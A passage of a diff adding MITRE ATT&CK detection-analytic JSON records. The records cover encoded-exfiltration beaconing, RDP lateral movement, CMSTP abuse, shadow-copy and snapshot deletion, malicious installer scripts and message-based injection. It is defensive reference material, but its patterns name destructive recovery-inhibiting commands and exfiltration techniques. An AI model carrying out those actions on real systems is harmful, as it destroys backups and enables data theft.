"2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0326#AN0927", + "external_id": "AN0927" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0927", + "description": "A process/script constructs or references a custom/alphabet translation table (e.g., 64/85/32+ arbitrary chars, XOR/base-N loops) or emits long high-entropy strings that do NOT validate as standard Base64/Hex \u2192 shortly after, the same process (or its child) generates outbound traffic with asymmetric bytes_out:bytes_in, fixed-size beacons, or protocol/header mismatches (e.g., Content-Type says JSON but body fails JSON parse / contains non-standard alphabet).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4103, 4104" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "m365:defender", + "channel": "NetworkConnection: high out:in ratio, periodic beacons, protocol mismatch" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "EntropyThreshold", + "description": "Minimum Shannon entropy for the suspected token/payload (e.g., >4.8)." + }, + { + "field": "TokenLengthThreshold", + "description": "Minimum continuous token length to treat as potential non-standard payload (e.g., \u2265120 chars)." + }, + { + "field": "BytesOutToInRatio", + "description": "Out:In ratio considered suspicious (e.g., \u22654:1)." + }, + { + "field": "FixedPacketStdDevThreshold", + "description": "Std. dev. threshold (size or interval) to mark packets as 'uniform' (beacon-like)." + }, + { + "field": "TimeWindow", + "description": "Correlation window from encode routine to egress (default 10m)." + }, + { + "field": "KnownLegitEncoders", + "description": "Legitimate in-house/custom encoders to suppress." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--09125bb1-29eb-4d40-994a-2e1aa7bcd105", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0326#AN0928", + "external_id": "AN0928" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0928", + "description": "Shell scripts or binaries implement custom mapping tables (tr/sed/awk/golang/rust/python encode loops), or emit long high-entropy tokens that fail Base64/Hex validation \u2192 correlated with egress showing asymmetric flow, protocol-mismatch payloads, or DNS/HTTP bodies containing low-diversity-but-long custom alphabets.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve of interpreters (python, perl), custom binaries, or shell utilities with long arguments containing non-standard tokens" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "http: HTTP bodies/headers contain long tokens with non-standard alphabets or constant-size periodic POSTs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "EntropyThreshold", + "description": "Payload entropy minimum." + }, + { + "field": "TokenLengthThreshold", + "description": "Length threshold for suspect tokens." + }, + { + "field": "BytesOutToInRatio", + "description": "Asymmetry cutoff for flows." + }, + { + "field": "TimeWindow", + "description": "Correlation join window." + }, + { + "field": "KnownEncoders", + "description": "Legitimate internal tools/agents." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--bdc546bb-9d92-489e-8aa8-8de1bd08f320", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0326#AN0929", + "external_id": "AN0929" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0929", + "description": "EndpointSecurity/Unified Logs show processes generating custom alphabets or long high-entropy, non-standard tokens \u2192 network logs (PF/Zeek/EDR) show asymmetric beacons, protocol mismatches, or periodic fixed-size posts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_EXEC: arguments contain long, non-standard tokens / custom alphabets" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "PF:Logs", + "channel": "high out:in ratio or fixed-size periodic flows" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "http: suspicious long tokens with custom alphabets in body/headers" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "EntropyThreshold", + "description": "Payload entropy minimum." + }, + { + "field": "TokenLengthThreshold", + "description": "Minimum suspicious token length." + }, + { + "field": "BytesOutToInRatio", + "description": "Asymmetry threshold." + }, + { + "field": "TimeWindow", + "description": "Correlation window." + }, + { + "field": "AllowedSignedBinaries", + "description": "Signed binaries that legitimately implement custom encoders." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e518b7e5-6e98-43f6-86c2-f45f684c650f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0326#AN0930", + "external_id": "AN0930" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0930", + "description": "ESXi shell or scripts produce long, high-entropy tokens (non-standard alphabets) in shell.log/hostd, followed by outbound flows (NSX/Zeek) with asymmetric ratios or protocol mismatches to non-management endpoints.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "esxi:shell", + "channel": "commands containing long non-standard tokens or custom lookup tables" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "esxi:hostd", + "channel": "unexpected script invocations producing long encoded strings" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "network_flow: bytes_out >> bytes_in, fixed packet sizes/intervals to non-approved CIDRs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "http: HTTP bodies from ESXi host IPs containing long, non-standard tokens" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MgmtCIDRs", + "description": "CIDRs allowed for normal ESXi mgmt/backup." + }, + { + "field": "BytesOutToInRatio", + "description": "Asymmetry cutoff (e.g., \u22653)." + }, + { + "field": "TokenLengthThreshold", + "description": "Minimum token length." + }, + { + "field": "TimeWindow", + "description": "Correlation window." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--63fcb4be-f5c2-47da-951d-cd1b4f1a2cc0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0327#AN0931", + "external_id": "AN0931" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0931", + "description": "Remote Desktop (RDP) logon by a user followed by unusual process execution, file access, or lateral movement activity within a short timeframe.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "WinEventLog:Security", + "channel": "EventCode=4624 (LogonType=10), EventCode=4648" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "WinEventLog:Security", + "channel": "EventCode=4778, EventCode=4779" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Temporal threshold to correlate login with post-login activity (e.g., 5 minutes)" + }, + { + "field": "UserContext", + "description": "Tune for non-admin users or service accounts expected to use RDP" + }, + { + "field": "ProcessList", + "description": "Define suspicious post-login processes such as cmd.exe, powershell.exe, certutil.exe" + }, + { + "field": "HostAccessPatterns", + "description": "Scope detection to uncommon or first-time access between source and destination hosts" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ae250934-772b-43a5-9a29-9cbd92972858", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0328#AN0932", + "external_id": "AN0932" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0932", + "description": "Execution of CMSTP.exe with arguments pointing to suspicious or remote INF/SCT/DLL payloads, optionally followed by outbound network connections to untrusted IPs, process injection via COM interfaces (CMSTPLUA, CMLUAUTIL), registry modifications registering malicious profiles, or creation of suspicious INF/DLL/SCT files prior to execution.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4104" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=12" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "INFPathRegex", + "description": "Regex for identifying suspicious INF files; adjust to suppress known safe profiles" + }, + { + "field": "ExternalIPAllowlist", + "description": "Domains or IP ranges allowed for CMSTP network connections" + }, + { + "field": "COMInterfaceGUIDs", + "description": "Set of auto-elevated COM interface GUIDs to flag (e.g., CMSTPLUA, CMLUAUTIL)" + }, + { + "field": "RegistryKeyAllowlist", + "description": "Known good registry entries for CMSTP profile registration" + }, + { + "field": "TimeWindow", + "description": "Correlate CMSTP execution with subsequent network activity or process creation within N seconds" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--decb2be7-1a0a-46dd-ab48-cf6258c0185e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0329#AN0933", + "external_id": "AN0933" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0933", + "description": "Process chains that use native utilities (vssadmin, wbadmin, diskshadow, bcdedit, REAgentC, wmic) with arguments to delete shadow copies, disable recovery, or remove backup catalogs", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8", + "name": "WinEventLog:Microsoft-Windows-Backup", + "channel": "Windows Backup Catalog deletion or catalog corruption" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c", + "name": "WinEventLog:System", + "channel": "Service stopped or RecoveryDisabled set via REAgentC" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Used to track rapid recovery feature changes over short intervals" + }, + { + "field": "CommandLinePattern", + "description": "Can be tuned to catch variations in destructive flags (/all, /quiet, -delete)" + }, + { + "field": "ParentProcessContext", + "description": "Tune based on common parent-child chains (e.g., powershell \u2192 diskshadow)" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--135452f6-c760-42a6-8a3f-d09c33f05369", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0329#AN0934", + "external_id": "AN0934" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0934", + "description": "Shell utilities or scripts deleting `/etc/systemd/system/rescue.target`, `/etc/fstab` backups, or `/boot/efi` partitions; chattr used to block snapshot auto-recovery", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "chattr, rm, shred, dd run on recovery directories or partitions" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8", + "name": "auditd:CONFIG_CHANGE", + "channel": "/etc/fstab, /etc/systemd/*" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "WatchedFilePaths", + "description": "Modify to include specific OS backup configs or LVM snapshots" + }, + { + "field": "ShellProcessUser", + "description": "Restrict detection to root or sudo users" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e2fb4be5-bd70-45d6-89ad-e687bc475285", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0329#AN0935", + "external_id": "AN0935" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0935", + "description": "ESXi shell or vim-cmd execution that deletes all VM snapshots using vmsvc/snapshot.removeall or rm on snapshot paths", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--16e07530-764b-4d83-bae0-cdbfc31bf21d", + "name": "esxi:hostd", + "channel": "snapshot.removeall or snapshot file deletion" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetVMNames", + "description": "Limit to critical VM names to reduce false positives" + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--55a0743e-cdc1-44d1-94c7-cf3837e3ef2f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0329#AN0936", + "external_id": "AN0936" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0936", + "description": "Execution of `erase`, `format`, and `reload` in immediate sequence from a privileged AAA session", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "networkdevice:syslog", + "channel": "command sequence: erase \u2192 format \u2192 reload" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandSequenceWindow", + "description": "Time between erase and reload command to establish causality" + }, + { + "field": "UserPrivilegeLevel", + "description": "Filter for high-privilege user sessions" + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e50f8247-73da-4461-a560-745ed84f1209", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0329#AN0937", + "external_id": "AN0937" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0937", + "description": "Cloud API calls disabling snapshot scheduling, backup policies, versioning, followed by DeleteSnapshot/DeleteVolume operations", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--16e07530-764b-4d83-bae0-cdbfc31bf21d", + "name": "AWS:CloudTrail", + "channel": "DeleteSnapshot" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--4c41e296-b8d2-4a37-b789-eb565c87c00c", + "name": "AWS:CloudTrail", + "channel": "PutBackupVaultAccessPolicy" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserAgent", + "description": "Tune for legitimate backup automation vs unknown tools" + }, + { + "field": "ResourceType", + "description": "Filter only on production images or vaults" + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3ae8f3c1-c3a1-4c45-9231-1bb6f9c61ee1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0330#AN0938", + "external_id": "AN0938" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0938", + "description": "Correlation of package install event with execution of postinstall scripts containing unknown binaries or abnormal CLI usage. Look for `/usr/sbin/installer` execution followed by child processes originating from postinstall script.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Execution of /usr/sbin/installer spawning child process from within /private/tmp or package contents" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "macos:unifiedlog", + "channel": "Creation or modification of postinstall scripts within .pkg or .mpkg contents" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ScriptLocation", + "description": "Path to postinstall script varies depending on .pkg packaging and user temp directories." + }, + { + "field": "ParentProcessName", + "description": "Installers may vary (e.g., /usr/sbin/installer, Jamf, Munki)." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2f9c7e44-de3a-4fbd-955a-482ef9f341ed", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0330#AN0939", + "external_id": "AN0939" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0939", + "description": "Detection of maintainer scripts (e.g., postinst, preinst) being modified or executed during dpkg or rpm operations. Watch for script content that spawns additional processes or writes outside package scope.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "Execution of dpkg or rpm followed by fork/execve from within postinst, prerm, etc." + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "auditd:SYSCALL", + "channel": "write" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ScriptName", + "description": "May be postinst, preinst, prerm, or postrm depending on packaging system" + }, + { + "field": "PackageManager", + "description": "Depends on system: dpkg, apt, rpm, yum, etc." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9c9db399-4f87-477b-be31-536857b7912d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0330#AN0940", + "external_id": "AN0940" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0940", + "description": "Detection of msiexec.exe running installer packages that result in anomalous process creation. Look for unexpected binaries executed by msiexec or custom action DLLs in the temp directory.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "InstallerParent", + "description": "Could be msiexec.exe or third-party wrapper like setup.exe." + }, + { + "field": "ChildImagePath", + "description": "Payload paths vary based on where installer extracts to (e.g., %TEMP%, C:\\Users\\Public)." + }, + { + "field": "ExecutionTimeWindow", + "description": "Threshold for how soon a payload must run after msiexec to be considered related." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--217128c5-144d-492b-ab72-bd0704348221", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0331#AN0941", + "external_id": "AN0941" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0941", + "description": "Detects the use of message-based injection by monitoring for sequences involving FindWindow (EnumWindows or EnumChildWindows), VirtualAllocEx or related API calls, combined with suspicious PostMessage/SendMessage (e.g., LVM_SETITEMPOSITION) use to SysListView32 controls, followed by LVM_SORTITEMS invocation instead of WriteProcessMemory.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=8" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + 